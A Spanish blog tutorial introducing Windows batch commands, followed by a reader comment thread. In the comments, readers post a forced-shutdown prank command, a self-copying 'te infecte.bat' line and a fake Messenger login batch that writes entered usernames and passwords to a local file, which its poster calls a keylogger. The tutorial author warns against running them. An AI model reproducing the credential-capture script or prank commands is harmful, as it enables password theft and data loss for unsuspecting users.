Aprende a programar desde cero en Platzi con el curso gratis de programación, que te preparará para este tutorial.
En este tip hablaremos sobre cómo manejar algunas funciones de Windows mediante archivos Batch.
Batch, según Wikipedia es:
Cualquier comando DOS puede ser utilizado en un archivo batch.
Hay que aclarar Batch que no es un Lenguaje de Programación. Es un archivo de código que contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde Inicio->Ejecutar->CMD.
Hay dos maneras de ejecutar comandos Batch.
- Desde el Shell de Windows.
- Escribiéndolos en un archivo de texto con extensión .bat y luego ejecutarlo.
Hola Mundo en Batch
Comenzaremos creando un Simple y clásico "Hola Mundo", escribiendo en un archivo de texto el siguiente código.
Código :
@echo off echo Hola Mundo pause exit
Ahora guardemos el archivo como Nombre.bat y lo ejecutamos. Nos aparecerá una pantalla negra que dirá "Hola Mundo", luego una linea abajo dirá "Presione una tecla para continuar"
Explicamos:
echo:
Imprime un texto en pantalla, que es el texto que viene después (el que le pasamos como parámetro), que en este caso es "Hola Mundo". Echo significa eco, por lo mismo "@echo off" elimina el eco, la repetición de la ruta en la que nos encontramos en cada línea código.
pause:
Como bien se lee, pausa la ejecución del código. Además muestra el texto "Presione una tecla para continuar"
exit:
Cierra la ventana de comandos.
Para dejar más en claro cual sería la diferencia de no ocupar la linea @echo off la imagen de a continuación muestra como se vería la pantalla sin esta linea.
Ahora aprenderemos algunas funciones de Batch:
CD o CHDIR:
Si has trabajado en PHP, te sera fácil entender este concepto. Sirve para cambiar de Directorio o Mostrar el nombre del actual. Para usarlo, CD o CHDIR seguido de la ubicación del directorio al cual nos moveremos.
cd "C:\"
chdir "C:\"
Los ejemplos anteriores hacen exactamente lo mismo, cambian al Disco C
COPY:
Sirve para copiar uno o más archivos a otro destino.
Su sintaxis es la siguiente:
Copy "Dirección del archivo" "Nueva dirección"
Ejemplo:
Código :
Copy "C:\archivo.txt" "C:\archivo2.txt"
Aquí copiaríamos un archivo del Disco C llamado "archivo.txt" como "archivo2.txt"
Para acortar un poco podríamos usar:
Código :
cd "C:\" Copy "archivo.txt" "archivo2.txt"
Donde primero cambiamos de directorio al Disco C con cd "C:\" y luego al copiar no tenemos que especificar que esta en el Disco C ya que ya nos encontramos en el.
DEL:
Sirve para eliminar uno o más archivos. Su sintaxis es:
Del "ARCHIVO"
También se puede añadir:
del /f /q "archivo"
Donde no pide confirmación de eliminación (/q) y fuerza al archivo a borrarse ( /f )
Move:
Sirve para mover un archivo. Su sintaxis es:
Move "Dirección Archivo" "Nueva Dirección"
Cls:
Sirve para limpiar el contenido de la pantalla:
Ejemplo:
Código :
@echo off echo Hola, Cuando pulses la tecla se borrara el contenido y cambiara por otro. pause cls echo ¿Ves? pause exit
Si quisiéramos averiguar más sobre las funciones, o conocer algunas nuevas por nuestra propia cuenta podemos escribir en el Shell el nombre del comando seguido de /? y aparecerá toda la información necesaria.
Podemos poner en práctica esto de la siguiente manera:
- Abramos el Shell de windows:Inicio->Ejecutar-CMD
- Una vez abierto escribamos:
Código :
echo off
Para eliminar el eco. - Luego para borrar el contenido de pantalla escribe:
Código :
cls
- Ahora veamos la ayuda de la función Copy:
Código :
copy /?
- Cerremos la ventana:
Código :
exit
Ahora vamos a crear un Batch que copie un archivo, luego lo mueva a otro directorio, borre el original y vuelva a copiar el copiado.
En la carpeta donde crearás el archivo .bat crea un archivo de texto llamado copiame.txt. En él, escribe lo que quieras. Este será el archivo que copiaremos.
Ahora el Batch:
Código :
@echo off echo Hola, Copiaremos un archivo pause copy "copiame.txt" "copiado.txt" move "copiado.txt" "C:\copiado.txt" del "copiame.txt" cd "C:\" copy "copiado.txt" "copiado2.txt" exit
Guárdalo en la carpeta como NombreQueTuQuieras.bat, y ejecútalo.
Lo que ha hecho la cadena de instrucciones es más o menos lo siguiente:
Primero apagamos el eco, luego imprimimos en pantalla "Hola, Copiaremos un archivo"
Pausamos el intérprete para que no siga de largo.
A continuación, copiamos el archivo "Copiame.txt" y su copia se llamará "copiado.txt". La movemos a la carpeta raíz del disco C, y eliminamos el original.
Por ultimo cambiamos de directorio al disco C, copiamos la copia y cerramos el Batch.
Después de que ejecutemos el Batch, si vamos al Disco C, veremos que hay dos nuevos archivos de texto: uno llamado copiado.txt y otro copiado2.txt.
También si vamos a la carpeta del Batch, veremos no está el archivo de texto original, "copiame.txt".
Creación de nuevos archivos:
Con Batch podemos crear otros archivos. Para ello, tenemos que escribir algo como esto:
Código :
echo TEXTO DE PRIMERA LINEA > nombre.extensión echo TEXTO SEGUNDA LINEA >> nombre.extensión echo TEXTO SIGUIENTE LINEA >> nombre.extensión
Al escribir echo seguido de un texto y el signo > creamos un archivo con el nombre que siga.
Si ocupamos un echo seguido de un texto y el doble signo > (>>) se escribirá en la siguiente linea vacía del archivo que prosiga.
Hagamos la prueba:
Código :
echo Creando un Archivo de texto > nuevo.txt echo Esta es la Segunda linea >> nuevo.txt echo Y esta es la Siguiente >> nuevo.txt echo Esto esta genial >> nuevo.txt
Si ejecutamos eso, la pantalla negra se abrirá y cerrará.
Pero en la carpeta en la que está nuestro batch se abra creado un nuevo archivo "nuevo.txt" que si lo abrimos, dentro estará escrito lo que especificamos.
Personalizando el SHELL
Seguro que no te gusta mucho el aspecto del Shell.
Aquí veremos como personalizarlo un poco.
COLOR:
Con la función color podemos cambiar los colores de fondo y las letras. Siendo su sintaxis:
COLOR AB
Donde A= El color de el Fondo y B= Color de las letras.
Para ver todos los colores ve el MS-Dos y escribe color/?
TITLE:
Para cambiar el título de la barra de tareas solo escribe:
Title Loquequierascomotitulo
Pause Personalizado:
¿No te gusta que al poner pause salga "Presione una tecla para continuar..."?
Pues si escribes "pause>nul" no aparecerá ni un texto.
Entonces si anteponemos un mensaje, quedaría así.
Código :
echo Aprieta cualquier tecla para seguir pause>nul
Además puedes jugar con los caracteres. Aquí un ejemplo, donde cambié los colores y jugué con los caracteres y personalicé el pause:
El código que empleé para esto fue:
Código :
@echo off color 30 echo ================================== echo = = echo = Personalizado = echo = = echo ================================== echo. echo. echo Esto esta personalizado, para salir presiona una tecla. pause>nul exit
Cabe mencionar que echo. (Echo seguido de un punto)sirve para saltarse una línea.
Matando Procesos:
¿Alguna vez has presionado CTRL+ALT+DELETE?
Si lo haces se abre el Administrador de tarea. En la pestaña procesos salen algunos procesos que están andando en tu pc, haciéndoles clics y apretando "terminar proceso" lo puedes acabar.
Con batch eso es muy fácil, se usa la función:
Taskkill (No funciona en todos los pc, para ver si esta disponible escribe taskkill/?)
Su sintaxis es:
Código :
taskkill /f /im proceso.exe
/f Fuerza el término del proceso.
Un ejemplo seria escribir.
Código :
taskkill /f /im wmplayer.exe
Si lo ejecutas y tienes el Reproductor de Windows Media abierto, este se cerrará.
ABRIENDO PROCESOS:
Ahora abramos ese proceso que cerramos. Para abrir procesos se usa la función Start que funciona así:
Código :
start proceso.exe
También puedes abrir paginas web con tu explorador predeterminado.
Ejemplo1:
Código :
start wmplayer.exe
Se abrirá el Reproductor de Música
Ejemplo2:
Código :
start www.google.cl
Se abrirá tu Explorador de Internet en Google.
VARIABLES:
Ahora aprendamos a declarar variables. Para crear una se escribe:
Código :
set NOMBREVARIABLE = VALOR
Para llamarla debemos escribir su nombre entre los signos %%
Ejemplo:
Código :
@echo off set Nombre= Javier Letelier Ruiz echo %Nombre% pause
La pantalla nos mostrara algo así:
Para cambiar el valor solo debemos hacer esto:
Código :
set Nombre= Nuevo Valor
Si quieres que tu Variable sea dinámica, osea que el Usuario la elija antepones /p:
Código :
set /p Nombre=Escriba su Nombre:
Donde el Batch se pausara solo mostrando el Mensaje que va luego de "=" dejando que se escriba algo.
También podemos multiplicarlas, sumarlas, etc... con /a:
Código :
set numero1=2 ser numero2=43 set /a suma= %numero1% + %numero2% echo %suma% pause exit
Si ejecutamos este, nos devolverá la suma de 2 + 43, 45.
Creo que con esto será suficiente.
Ojalá hayan entendido y les haya interesado el batch, que principalmente se puede usar para facilitar algunas tareas de Windows, ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes.
¿Sabes SQL? ¿No-SQL? Aprende MySQL, PostgreSQL, MongoDB, Redis y más con el Curso Profesional de Bases de Datos que empieza el martes, en vivo.
Por M@U el 12 de Noviembre de 2007
Pd: Si no me equivoco esto puede servir para armar "virus", cierto ¿?...
Por Carloz el 12 de Noviembre de 2007
M@U :
Pd: Si no me equivoco esto puede servir para armar "virus", cierto ¿?...
Cierto.
Muy bien JaLeRu, hace tiempo que dejé de utilizar estos Scripts, son de gran utilidad aunque nada comparados con lo que puedes hacer en una terminal basada en Unix.
Por JaLeRu el 12 de Noviembre de 2007
Con un amigo que tiene un pc que no usa, creamos un batch que apagaba el pc cada vez que se prendía. Era muy jodido. Pero lo eliminamos fácilmente iniciando de modo seguro.
Yo uso batch para cosas como:
Programar tareas como Apagados, mensajes, etc.
También para hacer accesos directos a programas que no encuentro en mi pc.
Ejemplo: Hace un tiempo se me borro la calculadora, entonces hice un simple batch que me la abre.
También una vez hice uno que cada inicio del pc Finalizaba tareas inútiles. (Ya que siempre que yo iniciaba el pc se me abrían programas que yo nunca usaba)
Pero ya no lo es necesario por que con el TuneUp Utilities controlo esto.
Por h el 14 de Noviembre de 2007
Tengo una duda, he utilizado la opción bat para descargar archivos pdf de una presentación y he puesto @echo off y exit al final. Bien, no me aparecen las líneas de comando, pero se sigue viendo, aunque sea por décimas de segundo la pantalla negra de comandos...¿Hay forma de ocultarla o que salga por debajo de la presentación?
Gracias
Por JaLeRu el 14 de Noviembre de 2007
Por CarlosRuminott el 14 de Noviembre de 2007
Por JaLeRu el 14 de Noviembre de 2007
Código :
Ok ese código que te di sirve para que un bat se ejecute cada vez que se inicia el pc.
donde el primer "TuBatch.bat" es el nombre del batch
Y donde dice: C:\tubatch.bat es la direccion del Batch
Para iniciar un exe, el batch tendría que decir:
Código :
Por CarlosRuminott el 14 de Noviembre de 2007
Por siddharta el 15 de Noviembre de 2007
Por carlosczg el 15 de Noviembre de 2007
archivos batch..
creo q esa clase es de hace 10años,
pero weno..para begginers..
Por diego el 15 de Noviembre de 2007
Por Victor-Nael el 15 de Noviembre de 2007
Por Bill el 15 de Noviembre de 2007
Por LP el 15 de Noviembre de 2007
gracias
Por Otaku RzO el 15 de Noviembre de 2007
Solo para complementar algo respecto a SET. Para mostrar todas las variables declaradas escribir solo "SET" (sin comillas) o mostrar solo la variable q declaraste: "SET VariableQueDeclare" (sin comillas), y para eliminar la variable escribir: "SET NombreDeMiVariable=" (sin comillas)
No me sabia esa de SET /p , me has hecho recordar mis inicios con MSDOS 6.22 y Win3.1
Por noctam el 15 de Noviembre de 2007
Por Kamisoft el 15 de Noviembre de 2007
De todos modos GRACIAS!!!
Por Jorgelig el 15 de Noviembre de 2007
Código :
Aja, yo lo usaba para dejarle mensajes de muerte al otro que ocupaba la compu por la tarde
Por BlackSpiral el 16 de Noviembre de 2007
Por enjoydasilence el 17 de Noviembre de 2007
Pero si lo sabia en el shell de UNIX .
Por johnes el 20 de Noviembre de 2007
Por Jonatan el 21 de Noviembre de 2007
Por javier el 21 de Noviembre de 2007
Por Kinduff el 22 de Noviembre de 2007
Te quedo muy bien de todos modos.
¿Podre publicar "Una segunda parte" de este tutorial?
Por M@U el 22 de Noviembre de 2007
Kinduff :
Te quedo muy bien de todos modos.
¿Podre publicar "Una segunda parte" de este tutorial?
JaLeRu :
Por erick el 23 de Noviembre de 2007
Por Luis el 26 de Noviembre de 2007
Por M@U el 26 de Noviembre de 2007
JaLeRu :
Por JaLeRu el 26 de Noviembre de 2007
M@U :
JaLeRu :
Ah ser sincero no se de eso del Backup
Por flashreloco el 26 de Noviembre de 2007
Por el 01 de Diciembre de 2007
Por flashreloco el 01 de Diciembre de 2007
spee :
Eso que no son principios de un virus
Por WebStar el 04 de Diciembre de 2007
Salu2.
Por pain el 04 de Diciembre de 2007
Por pain el 04 de Diciembre de 2007
Por el 11 de Diciembre de 2007
ejemplo
mi bat esta en el escritorio y quisiera que a la hora que sea ejecutado cree el acceso directo en C:\Documents and Settings\Cliente\Menú Inicio\Programas\Inicio
gracias
Por José M el 11 de Diciembre de 2007
1 Duda..
En la parte de abrir un programa o pagina web, ¿como haria si quiero q ese programa o pagina web se abra varias veces?
Por flashreloco el 11 de Diciembre de 2007
José M_blog :
1 Duda..
En la parte de abrir un programa o pagina web, ¿como haria si quiero q ese programa o pagina web se abra varias veces?
Pues en teoria copiando y pegando varias veces la llamada, a esa paginas web o aplicación , pero no estoy seguro jejeje.
Por carlosczg el 17 de Diciembre de 2007
Por bart el 18 de Diciembre de 2007
Por JaLeRu el 19 de Diciembre de 2007
Por M@U el 19 de Diciembre de 2007
Por JaLeRu el 19 de Diciembre de 2007
Pero a ser sincero, aprendí batch por la razón de tener capacidad maliciosa más que nada.
Aunque ahora lo use para el bien.
Por El HaCkEr el 19 de Diciembre de 2007
No se rindan, algun dia seran buenos programadores.
Por JaLeRu el 19 de Diciembre de 2007
Por Freddie el 19 de Diciembre de 2007
El HaCkEr_blog :
Tu nick con combinación de mayúsculas y minúsculas y tu uso de Internet Explorer nos demuestra que eres legendario y seguro tu si que sabes que es programar "avansado". Maestro.
Por JAIME ESQUIVEL MEJIA el 20 de Diciembre de 2007
Tenemos una maquina muy viejita que arranca con un diskette , necesitamos que automáticamente en el diskket cargue un programa exe
Por JaLeRu el 20 de Diciembre de 2007
Funcionan de la siguiente manera.
Escribes en un editor de texto plano lo siguiente:
Código :
Luego lo guardas como autorun.inf en el disquete.
PD: ¿Dentro de un disquete cabe un programa?
Por entrometido el 23 de Diciembre de 2007
P.D. Internet Explorer se Usa???
es mas se puede usar??
Por JaLeRu el 23 de Diciembre de 2007
Pero Virus, como si. NO.
Sirve para complementar. Por ejemplo el instalador del virus, o para esconderlo.
Pero es muy limitado el lenguaje para lograr un virus.
Por Freddie el 23 de Diciembre de 2007
entrometido_blog :
O quizás no tengas tiempo por estar ocupado haciendo "virus" en "batch" como para mostrarnos el camino. E igual pueda ser que no tengas NPI de lo que hablas y solo hables por hablar, recordando lo que lees por ahí.
Esperamos sinceramente tu copypaste
Por Anonimo HCR el 23 de Diciembre de 2007
En realidad si se pueden realizar virus en batch, solo tienes que tener practica,
decicion a lo que quieres lograr y no rendirte si no funciona al principio.Pues en realidad se vuelve algo tedioso cuando no saves de estos temas, pero no se sientan mal, pues todos empezamos por eso. El batch se ve sencillo, pero yo siempre e dicho: pequeños programas, grandes funcionalidades.
Aunque no puedo mencionar los cogidos de un virus, porque estaria compartiendo algo indevido. Si puedo decirles otras cosas que sean utiles.
Por El HaCkEr el 23 de Diciembre de 2007
Pero claro despues de crearlo necesitas un programa o crear uno, que te convierta de MS-DOS a EXE. Para convertilo a ejecutable y no puedan cambiar las ordenes que vos haber puesto.
Y claro por obias razones no compartes tu codigo malisioso.
Suerte.
Por M@U el 23 de Diciembre de 2007
Por Freddie el 23 de Diciembre de 2007
M@U :
Por M@U el 23 de Diciembre de 2007
KwanzaFreddie :
M@U :
Por Angel_fo_the_death el 23 de Diciembre de 2007
Alguien sabe como puede proteger carpetas
con un MS-DOS (batch), sino saben para decirselos.
Por JaLeRu el 23 de Diciembre de 2007
Que puede ser útil. Y sigo insistiendo que encuentro estúpido que ese tal Hacker se burle de mi.
Yo quise enseñar algo básico, por que no todo el mundo es tan genial como tu El HaCkEr y debe empezar por algo básico. No todos nacimos sabiendo programar.
Mis conocimientos también son básicos, en absoluto.
Dedica tu vida a crear Virus, te felicito vivirás mucho más feliz y estarás dando un gran aporte al mundo. Me encantaría que tu dieras un poco de tu tiempo a enseñarnos tu TAN avanzado conocimiento. (Y lo digo en serio)
Espero un pequeño "Tip" de tu parte.
Por Angel_of_the_Death el 23 de Diciembre de 2007
Soy nuevo y creo que no han visto mi a pregunta anterior. Haci que me tome la molestia de repetirla. Mi pregunta era ¿que si no saben como proteger una carpeta con un archivo en batch?.
Es que yo si se y queria compartilo con ustedes. pues creo que todos tenemos archivos personales que no queremos que otras personas vean y queremos protegerlos.
Pues cree un archivo batch que nos ayudara con ello. Por eso quiero saber si ya saben, o si no para compartilo con ustedes, les sera muy util, en serio...
Gracias.
Por Freddie el 23 de Diciembre de 2007
JaLeRu :
Por el 25 de Diciembre de 2007
Por JaLeRu el 26 de Diciembre de 2007
Angel_of_the_Death_blog :
Soy nuevo y creo que no han visto mi a pregunta anterior. Haci que me tome la molestia de repetirla. Mi pregunta era ¿que si no saben como proteger una carpeta con un archivo en batch?.
Es que yo si se y queria compartilo con ustedes. pues creo que todos tenemos archivos personales que no queremos que otras personas vean y queremos protegerlos.
Pues cree un archivo batch que nos ayudara con ello. Por eso quiero saber si ya saben, o si no para compartilo con ustedes, les sera muy util, en serio...
Gracias.
Nunca esta de más que aportes.
Claro que sí nos interesa que nos digas como.
Por Angel_of_the_Death el 26 de Diciembre de 2007
Para proteger sus carpetas deben colocar esto en su Bloc de Notas:
ren nombre nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} lo guardan como: Cerrar.bat
despues abren de nuevo su Bloc de Notas ponen lo siguiente:
ren nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} nombre
lo guardan como: Abrir.bat
Nota:donde dice nombre lo sustituyen por el nombre de su carpeta personal o de cualquier carpeta. Y primero prueben
el primero cerrara su carpeta y cambiara el icono. Cuando alguien intente abrirla los redireccionara al panel de control.
y para abrirla de nuevo ejecutan Abrir.bat y ya podran ver sus documentos dentro de la carpeta.
Por Angel_of_the Death el 26 de Diciembre de 2007
los archivos Abrir.bat y Cerrar.bat
deben de ir donde se encuentra la carpeta. Esto indica junto a ella no dentro de ella.
Gracias y tratare de aportar mas a este ChIdO BlOg...
Por M@U el 26 de Diciembre de 2007
Por Carloz el 26 de Diciembre de 2007
Angel_of_the_Death_blog :
Para proteger sus carpetas deben colocar esto en su Bloc de Notas:
ren nombre nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} lo guardan como: Cerrar.bat
despues abren de nuevo su Bloc de Notas ponen lo siguiente:
ren nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} nombre
lo guardan como: Abrir.bat
Nota:donde dice nombre lo sustituyen por el nombre de su carpeta personal o de cualquier carpeta. Y primero prueben
el primero cerrara su carpeta y cambiara el icono. Cuando alguien intente abrirla los redireccionara al panel de control.
y para abrirla de nuevo ejecutan Abrir.bat y ya podran ver sus documentos dentro de la carpeta.
De hecho ese Tip ya ha sido publicado aquí Bloquear el acceso a carpetas en Windows XP.
Esperamos tus demás aportes.
Por Angel_of_the_Death el 26 de Diciembre de 2007
Ya cheque el link que pusiste Carloz.Yanez y es verdad lo que dices,
se te agradece por tu gran obcervación.
Gracias...
Por Angel_of_the_Death el 26 de Diciembre de 2007
Saludo2
Por JaLeRu el 27 de Diciembre de 2007
Angel_of_the_Death_blog :
Saludo2
Que bueno!....
Por Angel_of_the_Death el 27 de Diciembre de 2007
Aquí les traigo este pequeño aporte espero les guste y les sea util....
Este un pequeño buscador chequenlo y pruebenlo. Suerte
El siguiente es el codigo:
Código :
Por Angel_of_the_Death el 27 de Diciembre de 2007
ahora aparecere como Angel_of_the_Death
Gracias...
Por JaLeRu el 27 de Diciembre de 2007
Por M@U el 27 de Diciembre de 2007
Los Aportes de preferencia publicalos aqui... Y los Tips por aca...
Tambien te recomiendo que le des una leida a las Reglas del Foro y que cambies tu Avatar, el tamaño maximo para estos es de 100x100 pxls...
Bienvenido...
Por Angel_of_the_Death el 27 de Diciembre de 2007
Y gracias M@U por decirme donde debo poner los Tips y los Aportes...
Suete a todos y Feliz año Nuevo...
Por Freddie el 27 de Diciembre de 2007
Por Angel_of_the_Death el 27 de Diciembre de 2007
Por mauricio el 27 de Diciembre de 2007
Por JaLeRu el 27 de Diciembre de 2007
Algo como esto: (Siendo que el archivo se llame "mibat.bat")
Código :
Por ferzidan el 06 de Enero de 2008
hacer que se remarque mi conexion a internet por ahi encontre algo asi:
rasdial Conexion usuario password
y pues si funciona, pero el problema que tengo es que quiero que al ejecutar el bat tenga una demora de aproximadamante 3 minutos, pues si se conectar inmediatamente no me sirve.... espero alguien me pueda ayudar
att: ferzidan
[email protected]
Por el 08 de Enero de 2008
posible por aprender y no ando presumiendo lo que se como ese tal El HaCkEr_blog de lo contrario si veo a alguien que no sabe trato de ayudarlo y no de juzgarlo con lo poco que, si alguien me puede ayudar a seguir aprendiendo seria bueno si me pueden mandar algunos manuales a mi correo [email protected]
Por JaLeRu el 08 de Enero de 2008
O por lo menos lo más posible.
Por Skatos el 08 de Enero de 2008
Código :
Código :
Otra cosa interesante es que nos permite borrar servicios muy fácilmente, aunque no aconsejaría que lo hagan a menos que estén completamente seguros de lo que hacen, es muy simple, por ejemplo si quisiéramos borrar el servicio del Portafolios:
Código :
Por mauricio el 09 de Enero de 2008
Por mauricio el 09 de Enero de 2008
Por JaLeRu el 09 de Enero de 2008
Pero puedes crear una copia del bat, para luego borrar al ejecutar la copia se borre el del disco C.
Eso se me ocurre.
Por mauricio el 09 de Enero de 2008
Por mauricio el 14 de Enero de 2008
Por Alfredo el 14 de Enero de 2008
@echo off
shutdown -s -t 00 -f
Por mauricio el 14 de Enero de 2008
Por JaLeRu el 15 de Enero de 2008
mauricio_blog :
Alfredo_blog :
@echo off
shutdown -s -t 00 -f
Porfavor no prueben ni uno de los dos códigos.
El Primero es un intento fallido para eliminar la carpeta windows. (No te voy a esplicar como arreglarlo, pero con ese código te preguntara antes si la quieres borrar. Ademas no borrara la carpeta por que no esta vacía, tendría que dar la opción de borrar el árbol completo. Ademas que es poco probable que se borre por que no se puede borrar una carpeta que tiene programas o cosas en ejecucion. Y para rematar el proceso seria extremadamente lento.
El segundo por lo menos esta bien escrito, pero no es tan dañino. Les apagara el pc sin tiempo para el termino de ejecucion de programas, además de manera forzosa.
Puede causar perdida de datos y daños al equipo. (Una vez lo hice con un amigo en mi pc para probarlo al prenderlo me apareció una pantalla advirtiéndome que había ocurrido un error en el sistema, pero no era nada al fin y al cabo. (No lo intenten)
Suerte, y por favor los estúpidos que están poniendo códigos para molestar a la gente dejen de hacerlo. ¿Que sacan? Solo muestran lo ocioso que son y lo Lamers.
Por Berzeker el 15 de Enero de 2008
@echo off
echo hola, te realizaremos unas simples pruebas matematicas
set num1=%random%
set num2=%random%
set num3=%random%
set num4=%random%
echo suma %num1% y %num2%
echo restale %num3%
echo multiplica por %num4%
set /a resultado= (%num1% %num2% - %num3%)* %num4%
set /p respuesta=
if %respuesta%= %resultado% (goto bien) else goto mal
:bien
echo bien
pause>nul
exit
:mal
echo mal
pause>nul
exit
Por JaLeRu el 15 de Enero de 2008
Por Berzeker el 15 de Enero de 2008
Por JaLeRu el 15 de Enero de 2008
lOrE_88 :
Lo que necesito es que el siguiente código se ejecute todos los días, cada día, sin tener que depender de nada, es decir, lo ejecuto por primera vez y a partir de eso que se mantenga ejecutándose.
Mi archivo se llama ejecutar.bat y el contenido es el siguiente:
java com.j2ee.jdbc.ConexionJDBC
Como ves en la línea anterior mando a ejecutar el .class, necesito que esto se ejecute siempre, es decir, cada día, una vez por día.
Gracias por tu ayuda.
Pues agrega al registro ese bat para que se ejecute cada inicio de sesión.
Lo otro que puedes hacer, manual mente es crear una tarea programada.
Desde el panel de control.
Por Berzeker el 15 de Enero de 2008
La segunda es, cuando existe un variable a esta se le pueden sustituir partes por otras; es decir: echo "%var:e=xxx%", esto sustituye las e por xxx, pero lo que quiero es que existan varias sustituciones, por decir: "%var:e=xxx,a=yyy%" pero no encuentro la sintaxis adecuada por que esa no sirve.
La ultima duda, con la funcion %random% puedo crear numeros aleatorios de 0 a 32768 pero quiero acortar ese numero a un maximo de 3 cifras y que se realizen operaciones (set/a=...) con estas 3 cifras.
Creo que me entusiasme un poco con esto, bueno gracias por todo
Por mauricio el 16 de Enero de 2008
Por Principiante XD el 17 de Enero de 2008
Soy principiante en esto, espero me disculpen si la pregunta los saca de onda.
Saludos
Por JaLeRu el 17 de Enero de 2008
Principiante XD_blog :
Soy principiante en esto, espero me disculpen si la pregunta los saca de onda.
Saludos
No me parece posible. Tal vez con otros códigos de programación como visual, C++ se pueda.
I have no idea.
Por Berzeker el 18 de Enero de 2008
@echo off
cd C:\RUTA\RUTA\RUTA
start NOMBREDELAIMAGEN.EXT
ping 1.1.1.1 -n 1 -w 2000>nul
taskkill NOMBREDELPROCESO.exe
SIGUES CON TU CODIGO
Tendrias que sustituir todo lo que esta en mayusculas deacuerdo a tu imagen y el programa asociado, por ejemplo:
RUTA = C:\Users\Pepe\Pictures
NOMBREDELAIMAGEN.EXT = Playa.jpg
NOMBREDELPROCESO.exe = mspaint.exe (este lo puedes checar pulsando ctrl alt supr y entras en la pestaña procesos, entonces abres una imagen y buscas el programa que inicio cuando la abriste)
En la parte ping 1.1.1.1 -n 1 -w 2000>nul
cambias el 2000 a el tiempo que quieras que la imagen este abierta (en milisegundos)
Ojala te sirva, aparte de eso, no se por que no me llega el correo para activar mi cuenta en cristalab, ya tiene como 20 minutos que supuestamente me lo mandaron, quizas mañana me llegue. Suerte
Por Principian el 18 de Enero de 2008
Suerte con lo de tu correo...
Gracias y Salu2
Por silvestre001 el 19 de Enero de 2008
echo %random%>>te infecte.bat
copiara este archivo entre 0 y 99999
Por Angel_of_the_Death el 20 de Enero de 2008
este código es sólo una muestra, y no sirve en lo absoluto.
:inicio
@echo off
color 3f
title ejemplo
echo.
pause>nul
:fin
@echo off
color 3f
title ejemplo
echo.
pause>nul
A lo que me refiero es que de el menú :inicio vaya automaticamente al menú :fin, y yo pueda ponerle el tiempo para que salte del menú :inicio al menú :fin. Ojala alguien pueda ayudarme se lo agradeceria mucho.
Gracias y Salu2...
Por JaLeRu el 21 de Enero de 2008
Eso no es Hackear, eso se llama hinchar las pelotas.
Y porfavor:
Si no van a aportar con algo útil, NO APORTEN
Por el 21 de Enero de 2008
JaLeRu :
Eso no es Hackear, eso se llama hinchar las pelotas.
Y porfavor:
Si no van a aportar con algo útil, NO APORTEN
No tengo idea si te refias a mi pero soy principiante en esto...y solo preguntaba si alguien sabe como cambiar de un menu a otro en un batch, porque soy principiante en esto, y eso significa no se nada, y me molesta que alguien se burle de mi...
Soy principiante en esto pero no se burlen de ello...
Acaso es malo querer a prender algo bueno....si no tereferias a mi te pido unas disculpas ...
Por Angel_of_the_Death el 21 de Enero de 2008
Se los Agradesco...
Salu2...
Por Berzeker el 22 de Enero de 2008
En cuanto a los menus, para acceder a una parte de tu codigo (menú) utilizas el comando "goto" Ejemplo:
:start
cls
echo 1 Copiar Archivos
echo 2 Borrar Archivos
echo 3 Mover Archivos
set /p op=
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 (goto 3) else goto start
1:
CODIGO
2:
CODIGO
3:
CODIGO
En cuanto a la pregunta del GIF, no la entiendo muy bien, pero si lo que quieres es reducir la cantidad de pixeles (por lo tanto el tamaño de archivo) yo lo que hago es abrir el archivo en paint, seleccionar todo, cambiar tamaño. Realmente no se si este método hace que se pierda la calidad en comparación con otros, pero es lo más sencillo.
Por Berzeker el 22 de Enero de 2008
1:
2:
3:
Debes poner
:1
:2
:3
Por JaLeRu el 22 de Enero de 2008
Anonymous :
JaLeRu :
Eso no es Hackear, eso se llama hinchar las pelotas.
Y porfavor:
Si no van a aportar con algo útil, NO APORTEN
No tengo idea si te refias a mi pero soy principiante en esto...y solo preguntaba si alguien sabe como cambiar de un menu a otro en un batch, porque soy principiante en esto, y eso significa no se nada, y me molesta que alguien se burle de mi...
Soy principiante en esto pero no se burlen de ello...
Acaso es malo querer a prender algo bueno....si no tereferias a mi te pido unas disculpas ...
Me refería a los que están poniendo códigos "maliciosos"
Por Nemesis el 22 de Enero de 2008
gracias
Por Angel_of_the_Death el 22 de Enero de 2008
Berzeker :
En cuanto a los menus, para acceder a una parte de tu codigo (menú) utilizas el comando "goto" Ejemplo:
:start
cls
echo 1 Copiar Archivos
echo 2 Borrar Archivos
echo 3 Mover Archivos
set /p op=
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 (goto 3) else goto start
1:
CODIGO
2:
CODIGO
3:
CODIGO
En cuanto a la pregunta del GIF, no la entiendo muy bien, pero si lo que quieres es reducir la cantidad de pixeles (por lo tanto el tamaño de archivo) yo lo que hago es abrir el archivo en paint, seleccionar todo, cambiar tamaño. Realmente no se si este método hace que se pierda la calidad en comparación con otros, pero es lo más sencillo.
Gracias por ayudarme en esto...la verdad es que todavia no se nada, y por eso les agradesco a todos su ayuda.....
Y tu explicacion me ayudo bastante...
Salu2...
Por Angel_of_the_Death el 22 de Enero de 2008
Por Gaston el 23 de Enero de 2008
@echo off
title Mesengeer Live
color 2
set /p key=ingrese su usuario:
set /p key2=ingrese su clave de seguridad:
msg * Error al intentar conectarse
echo %key%>>C:\claves.txt
echo %key2%>>C:\claves.txt
el problema es que para que recuerde algo en c:claves.txt
se necesite alguien tonto para que caiga
pero si le quitas ingrese us..... etcétera
quedaría un keylogger perfecto solo que no estaría todo el tiempo abierto...
alguien me puede ayudar?
Por JaLeRu el 23 de Enero de 2008
Por nemesis el 23 de Enero de 2008
MUCHAS GRACIAS POR CUALQUIER AYUDA
Por NEMESIS el 23 de Enero de 2008
Por Gaston el 23 de Enero de 2008
Por Berzeker el 23 de Enero de 2008
Nemesis, si un ftp te sirve aqui esta el código:
echo username>a.txt
echo password>>a.txt
echo type binary>>a.txt
echo send a.jgp>>a.txt
echo quit>>a.txt
ftp -s:a.txt SERVIDORFTP
del a.txt
exit
A ver si esta bién por que lo pongo de memoria , tienes que sustituir username password a.jpg servidorftp deacuerdo a los archivos que mandes y el servidor ftp que ocupes. bye
Por Berzeker el 24 de Enero de 2008
if exist C:\windows\system32\Notepad.exe goto inglés
if exist C:\windows\system32\Block de Notas.exe (goto español) else echo Su sistema op no esta en español ni inglés
